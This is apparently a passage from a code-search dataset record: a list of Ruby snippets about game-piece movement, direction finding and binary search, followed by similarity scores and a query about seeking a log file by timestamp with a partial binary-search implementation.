1\n return false if !board.grid[tester[0]][tester[1]].is_a?(Nul_piece)\n end\n end\n\n elsif other_pos[0] < current_pos[0] #New position is above us\n if other_pos[1] > current_pos[1] #new position is on our right\n until tester == current_pos\n tester[0] += 1\n tester[1] -= 1\n return false if !board.grid[tester[0]][tester[1]].is_a?(Nul_piece)\n end\n\n elsif other_pos[1] < current_pos[1] #new position on our left\n until tester == current_pos\n tester[0] += 1\n tester[1] += 1\n return false if !board.grid[tester[0]][tester[1]].is_a?(Nul_piece)\n end\n\n else #new position is on our level horizontally\n until tester == current_pos\n tester[0] += 1\n return false if !board.grid[tester[0]][tester[1]].is_a?(Nul_piece)\n end\n end\n\n else #new position is at our level vertically\n if other_pos[1] > current_pos[1] #new position is on our right\n until tester == current_pos\n tester[1] -= 1\n return false if !board.grid[tester[0]][tester[1]].is_a?(Nul_piece)\n end\n\n elsif other_pos[1] < current_pos[1] #new position on our left\n until tester == current_pos\n tester[1] += 1\n return false if !board.grid[tester[0]][tester[1]].is_a?(Nul_piece)\n end\n\n end\n end\n\n return false if board.grid[other_pos[0]][other_pos[1]].color == self.color\n # puts \"hello\"\n # sleep(2)\n true\n\n end",
"def slow_dance(direction, array)\n array.each_with_index do |tile, idx|\n return idx if tile == direction\n end\nend",
"def direction(dest_x,dest_y,start_x,start_y)\n \n if @battler.is_a?(Game_Actor)\n if @move_speed == 10\n return (Math.atan2((start_y - dest_y), (start_x - dest_x))+360) % 360\n else\n return (Math.atan2((dest_y - start_y), (dest_x - start_x))+360) % 360\n end\n else\n if @move_speed == 20\n return (Math.atan2((start_y - dest_y), (start_x - dest_x))+360) % 360\n else\n return (Math.atan2((dest_y - start_y), (dest_x - start_x))+360) % 360\n end\n end\n \n end",
"def facing_determine(original_facing, move)\n if move[0] == 'L'\n if move[1..-1].to_i/90 == 1 \n original_facing += 3\n elsif move[1..-1].to_i/90 == 2\n original_facing += 2\n elsif move[1..-1].to_i/90 == 3\n original_facing += 1\n end\n original_facing = original_facing%4 if original_facing > 3\n elsif move[0] == 'R'\n original_facing += move[1..-1].to_i/90 \n original_facing = original_facing%4 if original_facing > 3\n end\n return original_facing\nend",
"def binary_search(arr, target)\n\n floor = -1\n ceiling = arr.length\n\n while floor + 1 < ceiling # Has to be plus one or else it will keep looping. NB: Guess index always rounds down.\n\n guess_index = (floor + ceiling)/2\n # puts \"Guess_index\", guess_index\n guess_value = arr[guess_index]\n\n if guess_value == target\n return true\n elsif guess_value < target\n floor = guess_index\n else\n ceiling = guess_index\n end\n\n end\n\n return false\n\nend",
"def valid_jump_destination?(from, to, pieces)\n row = Game.index_to_row(from)\n target = nil\n if Game.is_king?(pieces[from-1])\n return if (row + 2 != Game.index_to_row(to)) and (row - 2 != Game.index_to_row(to))\n target = get_target_for_red(row, from, to) || get_target_for_white(row, from, to)\n elsif Game.is_red?(pieces[from-1])\n return if row + 2 != Game.index_to_row(to)\n target = get_target_for_red(row, from, to)\n elsif Game.is_white?(pieces[from-1])\n return if row - 2 != Game.index_to_row(to)\n target = get_target_for_white(row, from, to)\n end\n return target\n end",
"def slow_dance(direction, arr)\n arr.each_with_index do |el, i|\n return i if el == direction\n end\nend",
"def turn_toward(character)\n # calculate differences in x and y\n dx, dy = @real_x - character.real_x, @real_y - character.real_y\n # determines where to turn according to the x and y differences\n if dx < 0 && dx.abs >= dy.abs # character is right\n turn_right\n elsif dx > 0 && dx.abs >= dy.abs # character is left\n turn_left\n elsif dy < 0 # character is down\n turn_down\n elsif dy > 0 # character is up\n turn_up\n end\n end",
"def slow_dance(direction, tiles_array = [\"up\", \"right-up\", \"right\", \"right-down\", \"down\", \"left-down\", \"left\", \"left-up\"])\n tiles_array.each_with_index {|dir, idx| return idx if direction == dir}\nend",
"def turn_away_from(character)\n # calculate differences in x and y\n dx, dy = @real_x - character.real_x, @real_y - character.real_y\n # determines where to turn according to the x and y differences\n if dx < 0 && dx.abs >= dy.abs # character is right\n turn_left\n elsif dx > 0 && dx.abs >= dy.abs # character is left\n turn_right\n elsif dy < 0 # character is down\n turn_up\n elsif dy > 0 # character is up\n turn_down\n end\n end",
"def navigate\n if @route.size == 0\n return [@phi, 0]\n elsif @route.size == 1\n return [@phi, 0]\n end\n\n facing, other = get_facing [@curr.n0, @curr.n1]\n if @mode == STRAIGHT_MODE\n # check if we should transition\n if facing.pos.dist(@pos) < ROAD_WIDTH\n @route.pop\n self.mode = TURN_MODE\n @turn_from_node = facing\n @turn_to_node = @route[-1]\n return turn_navigate\n else\n return straight_navigate\n end\n elsif @mode == TURN_MODE\n closest = @map.closest_node @pos\n \n # sometimes the current node fails to get removed from the\n # route, which leads to issues when we next get to TURN_MODE\n # and the old node hasn't yet been popped\n @route.delete closest\n \n if closest.pos.dist(@pos) > ROAD_WIDTH * 2\n self.mode = STRAIGHT_MODE\n return straight_navigate\n else\n return turn_navigate\n end\n elsif @mode == START_MODE\n if @start_node.pos.dist(@pos) > ROAD_WIDTH * 2\n self.mode = STRAIGHT_MODE\n @route.pop if @route[-1] == @start_node\n end\n return [@phi, 2]\n end\n end",
"def is_obstructed?(dest_x, dest_y) \n\n # Checks to see if destination is outside board bounds\n return true if dest_x < 1 || dest_x > 8 || dest_y < 1 || dest_y > 8 \n\n # Checks to see if destination is occupied by a friend\n return true if self.game.is_occupied?(dest_x, dest_y) && self.player == self.game.pieces.where(position_x:dest_x, position_y: dest_y).first.player\n\n return false if self.type == \"Knight\"\n\n if self.position_y == dest_y # Horizontal movement\n if self.position_x < dest_x # East\n (position_x + 1).upto(dest_x - 1) do |x|\n return true if self.game.is_occupied?(x, dest_y)\n end \n else # West\n (position_x - 1).downto(dest_x + 1) do |x|\n return true if self.game.is_occupied?(x, dest_y)\n end \n end \n elsif self.position_x == dest_x # Vertical movement\n if self.position_y < dest_y # North\n (position_y + 1).upto(dest_y - 1) do |y|\n return true if self.game.is_occupied?(dest_x, y)\n end \n else # South\n (position_y - 1).downto(dest_y + 1) do |y|\n return true if self.game.is_occupied?(dest_x, y)\n end \n end \n elsif #Diagonal movement\n if self.position_x < dest_x && self.position_y < dest_y # Northeast\n (position_x + 1).upto(dest_x - 1) do |x|\n (position_y + 1).upto(dest_y - 1) do |y|\n return true if self.game.is_occupied?(x, y) && (x - position_x).abs == (y - position_y).abs\n end \n end \n elsif self.position_x > dest_x && self.position_y < dest_y # Northwest\n (position_x - 1).downto(dest_x + 1) do |x|\n (position_y + 1).upto(dest_y - 1) do |y|\n return true if self.game.is_occupied?(x, y) && (x - position_x).abs == (y - position_y).abs\n end \n end \n elsif self.position_x < dest_x && self.position_y > dest_y # Southeast\n (position_x + 1).upto(dest_x - 1) do |x|\n (position_y - 1).downto(dest_y + 1) do |y|\n return true if self.game.is_occupied?(x, y) && (x - position_x).abs == (y - position_y).abs\n end \n end \n elsif self.position_x > dest_x && self.position_y > dest_y # Southwest\n (position_x - 1).downto(dest_x + 1) do |x|\n (position_y - 1).downto(dest_y + 1) do |y|\n return true if self.game.is_occupied?(x, y) && (x - position_x).abs == (y - position_y).abs\n end \n end\n end \n end \n false\n end",
"def is_obstructed?(dest_x, dest_y) \n\n # Checks to see if destination is outside board bounds\n return true if dest_x < 1 || dest_x > 8 || dest_y < 1 || dest_y > 8 \n\n # Checks to see if destination is occupied by a friend\n return true if self.game.is_occupied?(dest_x, dest_y) && self.player == self.game.pieces.where(position_x:dest_x, position_y: dest_y).first.player\n\n return false if self.type == \"Knight\"\n\n if self.position_y == dest_y # Horizontal movement\n if self.position_x < dest_x # East\n (position_x + 1).upto(dest_x - 1) do |x|\n return true if self.game.is_occupied?(x, dest_y)\n end \n else # West\n (position_x - 1).downto(dest_x + 1) do |x|\n return true if self.game.is_occupied?(x, dest_y)\n end \n end \n elsif self.position_x == dest_x # Vertical movement\n if self.position_y < dest_y # North\n (position_y + 1).upto(dest_y - 1) do |y|\n return true if self.game.is_occupied?(dest_x, y)\n end \n else # South\n (position_y - 1).downto(dest_y + 1) do |y|\n return true if self.game.is_occupied?(dest_x, y)\n end \n end \n elsif #Diagonal movement\n if self.position_x < dest_x && self.position_y < dest_y # Northeast\n (position_x + 1).upto(dest_x - 1) do |x|\n (position_y + 1).upto(dest_y - 1) do |y|\n return true if self.game.is_occupied?(x, y) && (x - position_x).abs == (y - position_y).abs\n end \n end \n elsif self.position_x > dest_x && self.position_y < dest_y # Northwest\n (position_x - 1).downto(dest_x + 1) do |x|\n (position_y + 1).upto(dest_y - 1) do |y|\n return true if self.game.is_occupied?(x, y) && (x - position_x).abs == (y - position_y).abs\n end \n end \n elsif self.position_x < dest_x && self.position_y > dest_y # Southeast\n (position_x + 1).upto(dest_x - 1) do |x|\n (position_y - 1).downto(dest_y + 1) do |y|\n return true if self.game.is_occupied?(x, y) && (x - position_x).abs == (y - position_y).abs\n end \n end \n elsif self.position_x > dest_x && self.position_y > dest_y # Southwest\n (position_x - 1).downto(dest_x + 1) do |x|\n (position_y - 1).downto(dest_y + 1) do |y|\n return true if self.game.is_occupied?(x, y) && (x - position_x).abs == (y - position_y).abs\n end \n end\n end \n end \n false\n end",
"def shifted_binary_search(array, target)\n return shifted_binarysearch_helper(array, target, 0, array.length - 1)\nend",
"def walk\n if @headed_left\n move_left\n else\n move_right\n end\n end",
"def slow_dance(tile_direction, tiles_array)\n tiles_array.inject do |acc, el|\n if acc == tile_direction\n return tiles_array.index(acc)\n elsif el == tile_direction\n return tiles_array.index(el)\n else\n nil \n end\n end\nend",
"def find_rotation_point(words)\n\n first_word = words[0]\n\n floor_index = 0\n ceiling_index = words.length - 1\n\n while floor_index < ceiling_index\n\n # guess a point halfway between floor and ceiling\n guess_index = floor_index + ((ceiling_index - floor_index) / 2)\n puts \"guess_index #{guess_index}\"\n # if guess comes after first word or is the first word\n if words[guess_index] >= first_word\n # go right\n floor_index = guess_index\n puts \"floor_index #{floor_index}\"\n else\n # go left\n ceiling_index = guess_index\n puts \"ceiling_index #{ceiling_index}\"\n end\n\n # if floor and ceiling have converged\n if floor_index + 1 == ceiling_index\n\n # between floor and ceiling is where we flipped to the beginning\n # so ceiling is alphabetically first\n puts \"return #{ceiling_index}\"\n return ceiling_index\n\n end\n end\nend",
"def find_start nums, target, left, right\n if left + 1 >= right\n return left if nums[left] == target\n return right if nums[right] == target\n return -1\n end\n\n mid = left + (right - left) / 2\n\n if nums[mid] >= target\n right = mid\n else\n left = mid\n end\n\n find_start nums, target, left, right\nend",
"def move(forward)\n if @direction == \"N\"\n if @y + 1 < @@ymax\n @y += 1\n else\n puts \"Nice try sucker\"\n end\n elsif @direction == \"S\"\n if @y - 1 > @@ymin\n @y -= 1\n else\n puts \"Nice try sucker\"\n end\n elsif @direction ==\"E\"\n if @x + 1 < @@xmax\n @x += 1\n else\n puts \"Nice try sucker\"\n end\n elsif @direction == \"W\"\n if @x - 1 > @@xmin\n @x -= 1\n else\n puts \"Nice try sucker\"\n end\n else\n puts \"Where in the world are you?\"\n end\nend",
"def move2(position, curr_player, other_player, path = 0)\n posibles = []\n \n #add [-2,0]\n other = false\n curr = false\n other_player.pieces.each do |piece|\n if piece.position == [position[0] - 2, position[1]] || piece.position == [position[0] - 1, position[1]]\n other = true\n end\n end\n curr_player.pieces.each do |piece|\n if piece.position == [position[0] - 2, position[1]] || piece.position == [position[0] - 1, position[1]]\n curr = true\n end\n end\n if (!other && !curr) && @path == 0\n posibles << [-2, 0]\n end\n \n #add [-1,0]\n other = false\n curr = false\n other_player.pieces.each do |piece|\n if piece.position == [position[0] - 1, position[1]]\n other = true\n end\n end\n curr_player.pieces.each do |piece|\n if piece.position == [position[0] - 1, position[1]]\n curr = true\n end\n end\n if !other && !curr\n posibles << [-1, 0]\n end\n \n #add [-1,1]\n other = false\n other_player.pieces.each do |piece|\n if piece.position == [position[0] - 1, position[1] + 1]\n other = true\n end\n end\n if other\n posibles << [-1, 1]\n end\n \n #add [-1, -1]\n other = false\n other_player.pieces.each do |piece|\n if piece.position == [position[0] - 1, position[1] - 1]\n other = true\n end\n end\n if other\n posibles << [-1, -1]\n end\n select_moves(position, posibles)\n end",
"def perfect_move(marker, index)\r\n\t\tif board[index] == perfect_move\r\n\t\t\tboard[index] = marker\r\n\tend\r\n\r\n\t#final moves in order to win\r\n\tdef win(board, marker)\r\n\t\t#horizontal top\r\n\t\tif board[0] && board[1] == marker\r\n\t\t\tboard[2] == perfect_move\r\n\t\telsif board[0] && board[2] == marker\r\n\t\t\tboard[1] == perfect_move\r\n\t\telsif board[1] && board[2] == marker\r\n\t\t\tboard[0] == perfect_move\r\n\t\t#horiz middle\r\n\t\telsif board[3] && board[4] == marker\r\n\t\t\tboard[5] == perfect_move\r\n\t\telsif board[3] && board[5] == marker\r\n\t\t\tboard[4] == perfect_move\r\n\t\telsif board[4] && board[5] == marker\r\n\t\t\tboard[3] == perfect_move\r\n\t\t#horiz bottom\r\n\t\telsif board[6] && board[7] == marker\r\n\t\t\tboard[8] == perfect_move\r\n\t\telsif board[6] && board[8] == marker\r\n\t\t\tboard[7] == perfect_move\r\n\t\telsif board[7] && board[8] == marker\r\n\t\t\tboard[6] == perfect_move\r\n\t\t#vertical left\r\n\t\telsif board[0] && board[3] == marker\r\n\t\t\tboard[6] == perfect_move\r\n\t\telsif board[3] && board[6] == marker\r\n\t\t\tboard[0] == perfect_move\r\n\t\telsif board[0] && board[6] == marker\r\n\t\t\tboard[3] == perfect_move\r\n\t\t#vert middle\r\n\t\telsif board[1] && board[4] == marker\r\n\t\t\tboard[7] == perfect_move\r\n\t\telsif board[1] && board[7] == marker\r\n\t\t\tboard[4] == perfect_move\r\n\t\telsif board[4] && board[7] == marker\r\n\t\t\tboard[1] == perfect_move\r\n\t\t#vert right\r\n\t\telsif board[2] && board[5] == marker\r\n\t\t\tboard[8] == perfect_move\r\n\t\telsif board[2] && board[8] == marker\r\n\t\t\tboard[5] == perfect_move\r\n\t\telsif board[5] && board[8] == marker\r\n\t\t\tboard[2] == perfect_move\r\n\t\t#diagonal top left \r\n\t\telsif board[0] && board[4] == marker\r\n\t\t\tboard[8] == perfect_move\r\n\t\telsif board[0] && board[8] == marker\r\n\t\t\tboard[4] == perfect_move\r\n\t\telsif board[4] && board[8] == marker\r\n\t\t\tboard[0] == perfect_move\r\n\t\t#diag bottom left\r\n\t\telsif board[2] && board[4] == marker\r\n\t\t\tboard[6] == perfect_move\r\n\t\telsif board[2] && board[6] == marker\r\n\t\t\tboard[4] == perfect_move\r\n\t\telsif board[4] && board[6] == marker\r\n\t\t\tboard[2] == perfect_move\r\n\t\telse\r\n\r\n\t\tend\r\n\tend\r\n\r\n\t#blocks an opponent from making the winning move\r\n\tdef block(human, marker, index)\r\n\t\tif human[marker] == win\r\n\t\t\tboard[index] = perfect_move\r\n\t\t\ttrue\r\n\t\telse\r\n\t\t\tfalse\r\n\t\tend\r\n\tend\r\n\r\n\tdef fork()\r\n\tend\r\n\r\n\tdef fork_block()\r\n\tend\r\n\r\n\tdef opposite_corner()\r\n\tend\r\n\r\n\tdef empty_corner()\r\n\tend\r\n\r\n\tdef empty_side()\r\n\tend\r\n\r\nend",
"def check_direction(origin_arr,destination_arr)\n\t\t horizontal_direction(origin_arr,destination_arr)\n\tend",
"def smart_move(oppo_steps, steps)\n WINNING_LINE.each do |win_line|\n filter_line = win_line.select do |win_num|\n !oppo_steps.include?(win_num)\n end\n if filter_line.size == 1\n return filter_line[0] unless steps.include?(filter_line[0])\n end\n end\n 0\nend",
"def perfect_move(marker, index)\n\t\tif board[index] == perfect_move\n\t\t\tboard[index] = marker\n\tend\n\n\t#final moves in order to win\n\tdef win(board, marker)\n\t\t#horizontal top\n\t\tif board[0] && board[1] == marker\n\t\t\tboard[2] == perfect_move\n\t\telsif board[0] && board[2] == marker\n\t\t\tboard[1] == perfect_move\n\t\telsif board[1] && board[2] == marker\n\t\t\tboard[0] == perfect_move\n\t\t#horiz middle\n\t\telsif board[3] && board[4] == marker\n\t\t\tboard[5] == perfect_move\n\t\telsif board[3] && board[5] == marker\n\t\t\tboard[4] == perfect_move\n\t\telsif board[4] && board[5] == marker\n\t\t\tboard[3] == perfect_move\n\t\t#horiz bottom\n\t\telsif board[6] && board[7] == marker\n\t\t\tboard[8] == perfect_move\n\t\telsif board[6] && board[8] == marker\n\t\t\tboard[7] == perfect_move\n\t\telsif board[7] && board[8] == marker\n\t\t\tboard[6] == perfect_move\n\t\t#vertical left\n\t\telsif board[0] && board[3] == marker\n\t\t\tboard[6] == perfect_move\n\t\telsif board[3] && board[6] == marker\n\t\t\tboard[0] == perfect_move\n\t\telsif board[0] && board[6] == marker\n\t\t\tboard[3] == perfect_move\n\t\t#vert middle\n\t\telsif board[1] && board[4] == marker\n\t\t\tboard[7] == perfect_move\n\t\telsif board[1] && board[7] == marker\n\t\t\tboard[4] == perfect_move\n\t\telsif board[4] && board[7] == marker\n\t\t\tboard[1] == perfect_move\n\t\t#vert right\n\t\telsif board[2] && board[5] == marker\n\t\t\tboard[8] == perfect_move\n\t\telsif board[2] && board[8] == marker\n\t\t\tboard[5] == perfect_move\n\t\telsif board[5] && board[8] == marker\n\t\t\tboard[2] == perfect_move\n\t\t#diaginal top left \n\t\telsif board[0] && board[4] == marker\n\t\t\tboard[8] == perfect_move\n\t\telsif board[0] && board[8] == marker\n\t\t\tboard[4] == perfect_move\n\t\telsif board[4] && board[8] == marker\n\t\t\tboard[0] == perfect_move\n\t\t#diag bottom left\n\t\telsif board[2] && board[4] == marker\n\t\t\tboard[6] == perfect_move\n\t\telsif board[2] && board[6] == marker\n\t\t\tboard[4] == perfect_move\n\t\telsif board[4] && board[6] == marker\n\t\t\tboard[2] == perfect_move\n\t\telse\n\n\t\tend\n\tend\n\n\t#blocks an opponent from making the winning move\n\tdef block(human, marker, index)\n\t\tif human[marker] == win\n\t\t\tboard[index] = perfect_move\n\t\t\ttrue\n\t\telse\n\t\t\tfalse\n\t\tend\n\tend\n\n\tdef fork()\n\tend\n\n\tdef fork_block()\n\tend\n\n\tdef opposite_corner()\n\tend\n\n\tdef empty_corner()\n\tend\n\n\tdef empty_side()\n\tend\n\nend",
"def move_toward_player\n sx = @x - $game_player.x\n sy = @y - $game_player.y\n return if sx == 0 && sy == 0\n\n abs_sx = sx.abs\n abs_sy = sy.abs\n if abs_sx == abs_sy\n rand(2) == 0 ? abs_sx += 1 : abs_sy += 1\n end\n\n if abs_sx > abs_sy\n sx > 0 ? move_left : move_right\n unless moving? || sy == 0\n sy > 0 ? move_up : move_down\n end\n else\n sy > 0 ? move_up : move_down\n unless moving? || sx == 0\n sx > 0 ? move_left : move_right\n end\n end\n end",
"def move(starting, goal)\n pegs = [1, 2, 3]\n\n i = 0\n middle = nil\n\n while i < pegs.length\n middle = pegs[i] if pegs[i] != starting && pegs[i] != goal\n\n i += 1\n end\n empty = ([1, 2, 3] - [starting, goal]).first\n result = \"#{starting}->#{empty}\" + ' '\n result += \"#{starting}->#{goal}\" + ' '\n result += \"#{empty}->#{goal}\"\n result\nend",
"def slow_dance(string, tile_direction)\n\n tile_directions.each_with_index do |direction, i|\n return i if string == direction\n end\n nil\nend",
"def slow_dance(move, tiles_array)\n tiles_array.each_with_index {|tile, i| return i if tile == move}\nend",
"def input_to_index(nextmove)\n nextmovei = nextmove.to_i - 1\nend",
"def search(arr, target)\n left = 0\n right = arr.length - 1\n\n while left <= right\n mid = (left + right ) / 2\n\n return mid if arr[mid] == target\n\n if arr[mid] < target\n left = mid + 1\n else\n right = mid - 1\n end\n end\n\n return -1\nend",
"def look_ahead_for_support_both_sides\n look_ahead_for_support do |left, right|\n left & right\n end\n end",
"def input_to_index(player_move)\n input = player_move.to_i\n final_move = input - 1\nend",
"def direction(current_node, destination_node)\r\n direction = [ destination_node.y - current_node.y, # down/up\r\n destination_node.x - current_node.x ] # negative: left, positive: right\r\n\r\n return 2 if direction[0] > 0 and direction[1] == 0 # south\r\n return 4 if direction[1] < 0 and direction[0] == 0 # west\r\n return 8 if direction[0] < 0 and direction[1] == 0 # north\r\n return 6 if direction[1] > 0 and direction[0] == 0 # east\r\n\r\n return 0 # default\r\n end",
"def find_starting_idx(destination_idx, jump_idx)\n jump_idx.length > 1 ? jump_idx[destination_idx - 1] : 0\nend",
"def binary_search(target, array)\r\n\t#Your code here\r\n\tindex = array.length / 2\r\n\tlo = 0\r\n\thi = array.length - 1\r\n\twhile array[index] != target && array.include?(target)\r\n\t\tif array[index] > target\r\n\t\t\thi = index - 1\r\n\t\t index = (lo + hi) / 2\r\n\t\telsif array[index] < target\r\n\t\t\tlo = index + 1\r\n\t\t\tindex = (lo + hi) / 2\r\n\t\tend\r\n\tend\r\n\tif array[index] == target\r\n\t\treturn index\r\n\telse\r\n\t\treturn -1\r\n\tend \r\nend",
"def going_up?(current, desired)\n if current > desired\n return true\n else\n return false\n end\n end",
"def relative(reference_point, distance)\n return if reference_point.nil? # there is no cell\n return if (reference_point + distance) >= board_size # out of bound +\n return if (reference_point + distance).negative? # out of bound -\n\n # calculate possible move\n reference_point/columns == (reference_point + distance)/columns ? (reference_point + distance) : nil\n end",
"def move_direction(direction)\n\n #Convert the direction to a change in x and y coordinates. \n #Also set the direction we are leaving the current tile and the direction\n #we are entering the new tile (e.g. going north we leave the current tile\n #in the north direction and enter the next tile from the south \n dx, dy = 0, 0\n leave_dir, enterDir = nil, nil\n if direction == 'north' then\n dx, dy = 0, 1\n leave_dir, enter_dir = 'n', 's'\n self.facing = 0\n elsif direction == 'south'\n dx, dy = 0, -1\n leave_dir, enter_dir = 's', 'n'\n self.facing = 2\n elsif direction == 'east'\n dx, dy = 1, 0\n leave_dir, enter_dir = 'e', 'w'\n self.facing = 1\n elsif direction == 'west'\n dx, dy = -1, 0\n leave_dir, enter_dir = 'w', 'e'\n self.facing = 3\n end\n self.save!\n\n #The direction given was not one of the 4 cardinal directions\n if dx == 0 and dy == 0 then\n return false\n end\n\n #find the tile to be moved to\n x = self.tile.x + dx\n y = self.tile.y + dy\n target_tile = Tile.tile_at(x, y)\n\n if target_tile == nil then\n return false\n end\n\n #Make sure it is valid to walk over the tile\n target_tile_props = TILE_PROPERTIES[target_tile.tile_type.to_s]\n current_tile_props = TILE_PROPERTIES[self.tile.tile_type.to_s]\n leaving_traversable = current_tile_props[\"traversable\"][leave_dir]\n entering_traversable = target_tile_props[\"traversable\"][enter_dir]\n if leaving_traversable == 1 or leaving_traversable == 3 or\n entering_traversable == 1 or entering_traversable == 2 then\n return false\n end\n\n #update direction facing\n if y > self.tile.y then\n self.facing = 0\n elsif y < self.tile.y then\n self.facing = 2\n elsif x > self.tile.x then\n self.facing = 1\n elsif x < self.tile.x then\n self.facing = 3\n end\n\n\n # update battery & health according to tile property\n self.battery += TILE_PROPERTIES[target_tile.tile_type.to_s][\"batteffect\"][enter_dir]\n self.health += TILE_PROPERTIES[target_tile.tile_type.to_s][\"healtheffect\"][enter_dir]\n self.save!\n\n self.move_to(x, y)\n return true\n end",
"def slow_dance(direction, tiles_array)\n tiles_array.each_with_index do |dir, index|\n if direction == dir\n return index \n end \n end\nend",
"def try_to_loan(loan)\n atms = Array.new(100) { |i| i.even? ? 2**i : -2**i }\n signs = atms.dup\n moves = []\n while loan != 0\n # binding.pry\n first_bigger, method = next_value(loan, atms)\n break if first_bigger == false\n if method == :cut\n moves << signs.index(atms[first_bigger])\n loan -= atms.delete_at(first_bigger)\n moves << signs.index(atms[first_bigger - 1]) if loan != 1\n loan -= atms.delete_at(first_bigger - 1) if loan != 1\n else\n moves << signs.index(atms[first_bigger - 2])\n loan -= atms.delete_at(first_bigger - 2)\n end\n p moves\n p loan\n end\nend",
"def sift_down(array, index, order)\n value = array[index]\n while order > 1\n right_index = index - 1\n left_index = right_index - LEONARDO_NUMS[order - 2]\n break if value >= array[left_index] && value >= array[right_index]\n\n if array[left_index] <= array[right_index]\n array[index] = array[right_index]\n index = right_index\n order -= 2\n else\n array[index] = array[left_index]\n index = left_index\n order -= 1\n end\n end\n array[index] = value\nend",
"def turn_around\n stop_totally\n @headed_left = !@headed_left\n walk\n end",
"def possible_bishop_moves(start_arr)\n\t\tx = start_arr[1]\n\t\ty = start_arr[0]\n\t\tcandidates = []\n\t\t# Checks how many spaces rook can move up & right\n\t\tmove_up_right = true\n\t\ti = 1\t\t\n\t\twhile move_up_right && i < 8\n\t\t\tpos = [y+i, x+i]\n\t\t\tif pos[0] >= 8 || pos[1] >= 8\n\t\t\t\tmove_up_right = false\n\t\t\telse\t\n\t\t\t\tif !(@board[pos] == \"*\")\n\t\t\t\t\tif @board[pos].color == @board[start_arr].color\n\t\t\t\t\t\tmove_up_right = false\n\t\t\t\t\telsif !( @board[pos].color == @board[start_arr].color )\n\t\t\t\t\t\tcandidates << pos\n\t\t\t\t\t\tmove_up_right = false\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tcandidates << pos\n\t\t\t\tend\n\t\t\t\ti += 1\n\t\t\tend\n\t\tend\n\n\t\t# Checks how many spaces rook can move down & right\n\t\tmove_down_right = true\t\t\n\t\ti = 1\t\n\t\twhile move_down_right && i < 8\n\t\t\tpos = [y-i, x+i]\n\t\t\tif pos[0] < 0 || pos[1] >= 8\n\t\t\t\tmove_down_right = false\n\t\t\telse\t\n\t\t\t\tif !(@board[pos] == \"*\")\n\t\t\t\t\tif @board[pos].color == @board[start_arr].color\n\t\t\t\t\t\tmove_down_right = false\n\t\t\t\t\telsif !( @board[pos].color == @board[start_arr].color )\n\t\t\t\t\t\tcandidates << pos\n\t\t\t\t\t\tmove_down_right = false\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tcandidates << pos\n\t\t\t\tend\n\t\t\t\ti += 1\n\t\t\tend\n\t\tend\n\n\t\t# Checks how many spaces rook can move up & left\n\t\tmove_up_left = true\t\t\n\t\ti = 1\t\n\t\twhile move_up_left && i < 8\n\t\t\tpos = [y+i, x-i]\n\t\t\tif pos[0] >= 8 || pos[1] < 0\t\n\t\t\t\tmove_up_left = false\n\t\t\telse\t\n\t\t\t\tif !(@board[pos] == \"*\")\n\t\t\t\t\tif @board[pos].color == @board[start_arr].color\n\t\t\t\t\t\tmove_up_left = false\n\t\t\t\t\telsif !( @board[pos].color == @board[start_arr].color )\n\t\t\t\t\t\tcandidates << pos\n\t\t\t\t\t\tmove_up_left = false\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tcandidates << pos\n\t\t\t\tend\n\t\t\t\ti += 1\n\t\t\tend\n\t\tend\n\n\t\t# Checks how many spaces rook can move down & left\n\t\tmove_down_left = true\t\t\n\t\ti = 1\t\n\t\twhile move_down_left && i < 8\n\t\t\tpos = [y-i, x-i]\n\t\t\tif pos[0] < 0 || pos[1] < 0\t\n\t\t\t\tmove_down_left = false\n\t\t\telse\t\n\t\t\t\tif !(@board[pos] == \"*\")\n\t\t\t\t\tif @board[pos].color == @board[start_arr].color\n\t\t\t\t\t\tmove_down_left = false\n\t\t\t\t\telsif !( @board[pos].color == @board[start_arr].color )\n\t\t\t\t\t\tcandidates << pos\n\t\t\t\t\t\tmove_down_left = false\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tcandidates << pos\n\t\t\t\tend\n\t\t\t\ti += 1\n\t\t\tend\n\t\tend\t\t\n\t\tcandidates\n\tend"
] |
[
"0.65205055",
"0.62301284",
"0.6225734",
"0.61937743",
"0.6138444",
"0.6124464",
"0.61034703",
"0.6095395",
"0.6076776",
"0.6066899",
"0.5998013",
"0.59795153",
"0.5975277",
"0.59719175",
"0.59478235",
"0.59416676",
"0.59098643",
"0.58945566",
"0.58942205",
"0.5893506",
"0.58918697",
"0.58819526",
"0.587898",
"0.5861382",
"0.5861382",
"0.58536065",
"0.58536065",
"0.5846998",
"0.584292",
"0.5842174",
"0.58401996",
"0.5832199",
"0.58301955",
"0.5828419",
"0.58236253",
"0.5808761",
"0.58068496",
"0.58066785",
"0.5798293",
"0.5797606",
"0.5794518",
"0.5793912",
"0.57863444",
"0.5773116",
"0.5765472",
"0.57610965",
"0.5757311",
"0.5740948",
"0.5739313",
"0.5737234",
"0.57339215",
"0.57335603",
"0.5733376",
"0.57279414",
"0.57163227",
"0.5715206",
"0.5709729",
"0.57091475",
"0.57067114",
"0.5697839",
"0.5697504",
"0.56930554",
"0.5692612",
"0.5683138",
"0.56825393",
"0.56752396",
"0.5671527",
"0.56709695",
"0.5670462",
"0.566965",
"0.566965",
"0.56694376",
"0.5665875",
"0.56574714",
"0.56415915",
"0.5641401",
"0.564037",
"0.56351084",
"0.56347585",
"0.5632228",
"0.5632072",
"0.5622967",
"0.56223667",
"0.56131774",
"0.561308",
"0.5612365",
"0.5598017",
"0.5593638",
"0.55927175",
"0.55880105",
"0.5587697",
"0.5583679",
"0.558083",
"0.5579671",
"0.5573435",
"0.5572666",
"0.55722696",
"0.5572122",
"0.5567114",
"0.5561346",
"0.55607855"
] |
0.0
|
-1
|
Do a binary search until we find a file position that is less than MAX_TIME_BETWEEN_CONTROLLER_ACTIONS before the time we seek.
|
def seek_to_time_helper(file, target_time, start_pos, end_pos, logger)
return nil unless file && target_time
logger.info("Checking between file pos #{start_pos} and #{end_pos}.")
rewind_pos = file.pos
middle_pos = (start_pos+end_pos)/2
file.seek(middle_pos, IO::SEEK_SET)
file.each do |line|
if(line =~ NEW_ACTION_REGEX)
this_time = Time.parse($1)
if this_time >= target_time
return seek_to_time_helper(file, this_time, start_pos, middle_pos, logger)
elsif(this_time < target_time && (this_time-target_time).abs < MAX_TIME_BETWEEN_CONTROLLER_ACTIONS)
file.seek(rewind_pos, IO::SEEK_SET)
return file
else
return seek_to_time_helper(file, this_time, middle_pos, end_pos, logger)
end
end
end
# If we can't find any line that meets the criteria we seek, just send back the file object in the closest spot we could find.
